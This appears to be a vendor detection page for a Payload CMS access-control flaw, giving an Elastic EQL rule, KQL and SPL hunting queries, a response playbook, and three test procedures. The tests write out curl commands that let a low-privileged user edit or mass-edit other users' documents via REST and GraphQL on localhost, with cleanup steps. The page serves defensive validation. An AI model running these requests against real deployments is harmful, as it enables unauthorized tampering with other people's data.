Skip to content
CVE-2026-105859 Elastic Security · Elastic

Detect Payload CMS Unauthorized Collection Document Update (CVE-2026-105859) in Elastic Security

Detects exploitation of CVE-2026-105859, an authorization flaw (CWE-639, CWE-862) in Payload CMS (npm 'payload'). The flaw affects versions before 3.90.0 and canary versions before 4.0.0-canary.34. It lets an attacker submit a request to a specific endpoint that updates collection documents without enforcing collection or field-level access control, when orderable is enabled on a collection or join field. Detection focuses on HTTP PATCH/PUT/POST requests to Payload's REST API collection endpoints (/api/<collection>/<id>) and GraphQL update mutations that succeed (2xx) for principals whose role or ownership does not match the modified document, as well as anomalous update volume to collections. CVSS base score 9.8.

MITRE ATT&CK

Tactic
Privilege Escalation

Elastic Detection Query

Elastic Security (Elastic)
eql
// df00tech DF00-de9197fa0a · https://df00tech.com/detections/CVE-2026-105859 · licence: https://df00tech.com/detections/licence
sequence by source.ip with maxspan=10m
  [ network where http.request.method in ("PATCH","PUT","POST") and
    url.path like "/api/*" and http.response.status_code >= 200 and http.response.status_code <= 299 ]
  [ network where http.request.method in ("PATCH","PUT","POST") and
    url.path like "/api/*" and http.response.status_code >= 200 and http.response.status_code <= 299 ]
  [ network where http.request.method in ("PATCH","PUT","POST") and
    url.path like "/api/*" and http.response.status_code >= 200 and http.response.status_code <= 299 ]
medium severity low confidence

Detects a burst of three or more successful update requests to Payload REST API endpoints from the same source within 10 minutes.

Data Sources

Packetbeat/HTTP network eventsFilebeat web access logs

Required Tables

packetbeat-*filebeat-*

False Positives & Tuning

  • Automated bulk-edit sessions from legitimate editors.
  • Load/performance testing against the API.
  • Sync agents performing periodic batch updates.

Other platforms for CVE-2026-105859


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Unauthorized REST update to another user's document

    Expected signal: Web access log entry: PATCH /api/posts/VICTIM_DOC_ID 200 with the low-privileged user's identity.

  2. Test 2 GraphQL update mutation across ownership boundary

    Expected signal: POST /api/graphql 200 containing an updatePost mutation from a non-owner principal.

  3. Test 3 Scripted mass update of collection documents

    Expected signal: 15 successive PATCH /api/posts/<id> 2xx entries from one IP/user within a short window.


Response Playbook

Triage

  1. Identify the affected application's Payload CMS version; confirm whether it is before 3.90.0 or in the 4.0.0-canary.0 to canary.33 range via package.json, lockfile, or the /api/access response.
  2. For each flagged request, determine the authenticated principal (user ID, role, API key) and whether that principal has legitimate update rights to the targeted collection and document (ownership/tenant match).
  3. Review the modified documents' audit/version history to establish what fields changed and whether privilege-relevant fields (e.g. roles, ownership, status, access flags) were altered.
  4. Correlate the source IP and session/token with the user's normal behaviour baseline (geo, device, prior update cadence).

Containment

  1. Upgrade Payload to 3.90.0 or later (or a 4.0.0 release at or after canary.34) to restore correct per-document access control.
  2. Revoke or rotate the API keys or sessions of the implicated principal and, if abuse is confirmed, disable the account pending investigation.
  3. Temporarily restrict write access to affected collections (read-only or stricter access-control functions) at the application or reverse-proxy layer until patched.

Evidence Collection

  1. Preserve web/reverse-proxy access logs and Payload application logs covering the suspect requests, including method, URL, status, and authenticated user.
  2. Export the Payload document version history for all modified documents to capture before/after field states.
  3. Capture the raw request bodies (where logged) and the associated JWT/API-key identifiers used in the update calls.

Escalation Criteria

  • !Escalate to incident response if privilege-relevant fields (roles, ownership, access, publication status) were modified on documents the principal did not own.
  • !Escalate if updates affected security-sensitive collections (users, admins, API keys, access policies) or crossed tenant boundaries in a multi-tenant deployment.

Investigation Guide

Forensic Artifacts

  • >Payload document version/audit records showing unauthorized field changes.
  • >Web/reverse-proxy access logs with method, endpoint, status, and principal.
  • >JWT / API-key identifiers and session records tied to the update requests.

Tuning Guidance

Allowlist known bulk-editor accounts, migration service accounts, and CI/CD runner IPs that legitimately perform batch updates. Tune the update/doc-count thresholds to your content team's normal cadence, and prioritise alerts where the modified collection is security-sensitive (users, access policies) or where the principal does not own the modified document. Prefer enriching with per-document ownership data where available to convert volume heuristics into true authorization-mismatch detections.


Hunting Queries

Baselines successful update activity per user/IP against Payload collection endpoints to surface outliers consistent with authorization-mismatch abuse.

Hunting — KQL
kql
// df00tech DF00-de9197fa0a · https://df00tech.com/detections/CVE-2026-105859 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem startswith "/api/" and csMethod in ("PATCH","PUT","POST") and scStatus between (200 .. 299) | summarize count() by csUsername, cIP, bin(TimeGenerated, 1h) | order by count_ desc
Hunting — SPL
spl
``` df00tech DF00-de9197fa0a · https://df00tech.com/detections/CVE-2026-105859 · licence: https://df00tech.com/detections/licence ```
index=web uri_path="/api/*" (method=PATCH OR method=PUT OR method=POST) status>=200 status<=299 | stats count by user clientip | sort - count

Atomic Red Team Tests

Test 1 Unauthorized REST update to another user's document
linux

As a low-privileged authenticated user, send a PATCH to a collection document owned by another user and observe a successful (2xx) update on a vulnerable Payload version.

Command

bash
curl -s -X PATCH "http://localhost:3000/api/posts/VICTIM_DOC_ID" -H "Authorization: JWT $LOWPRIV_TOKEN" -H "Content-Type: application/json" -d '{"title":"owned-by-idor"}' -o /tmp/payload_idor_resp.json -w '%{http_code}\n'

Cleanup

bash
curl -s -X PATCH "http://localhost:3000/api/posts/VICTIM_DOC_ID" -H "Authorization: JWT $ADMIN_TOKEN" -H "Content-Type: application/json" -d '{"title":"original"}' >/dev/null; rm -f /tmp/payload_idor_resp.json

Expected Telemetry

Web access log entry: PATCH /api/posts/VICTIM_DOC_ID 200 with the low-privileged user's identity.

Expected Detection

KQL/SPL update-volume or authorization-mismatch rule fires on a successful update by a principal that does not own the document.

Test 2 GraphQL update mutation across ownership boundary
linux

Invoke the Payload GraphQL updatePosts mutation targeting a document the caller does not own, expecting success on vulnerable versions.

Command

bash
curl -s -X POST "http://localhost:3000/api/graphql" -H "Authorization: JWT $LOWPRIV_TOKEN" -H "Content-Type: application/json" -d '{"query":"mutation{ updatePost(id:\"VICTIM_DOC_ID\", data:{title:\"idor-gql\"}){ id title } }"}' -w '\n%{http_code}\n'

Cleanup

bash
curl -s -X POST "http://localhost:3000/api/graphql" -H "Authorization: JWT $ADMIN_TOKEN" -H "Content-Type: application/json" -d '{"query":"mutation{ updatePost(id:\"VICTIM_DOC_ID\", data:{title:\"original\"}){ id } }"}' >/dev/null

Expected Telemetry

POST /api/graphql 200 containing an updatePost mutation from a non-owner principal.

Expected Detection

GraphQL update mutation by a non-owner surfaces in the update-activity hunt and authorization-mismatch review.

Test 3 Scripted mass update of collection documents
linux

Iterate PATCH requests across many document IDs to simulate automated mass-update abuse and trigger the volume/cardinality detection.

Command

bash
for id in $(seq 1 15); do curl -s -X PATCH "http://localhost:3000/api/posts/DOC_$id" -H "Authorization: JWT $LOWPRIV_TOKEN" -H "Content-Type: application/json" -d '{"title":"mass-idor"}' -o /dev/null -w '%{http_code}\n'; done

Cleanup

bash
for id in $(seq 1 15); do curl -s -X PATCH "http://localhost:3000/api/posts/DOC_$id" -H "Authorization: JWT $ADMIN_TOKEN" -H "Content-Type: application/json" -d '{"title":"original"}' >/dev/null; done

Expected Telemetry

15 successive PATCH /api/posts/<id> 2xx entries from one IP/user within a short window.

Expected Detection

Volume/cardinality rule (updates>=10 or docs>=10 in 10m) fires for the source IP/user.

Related Detections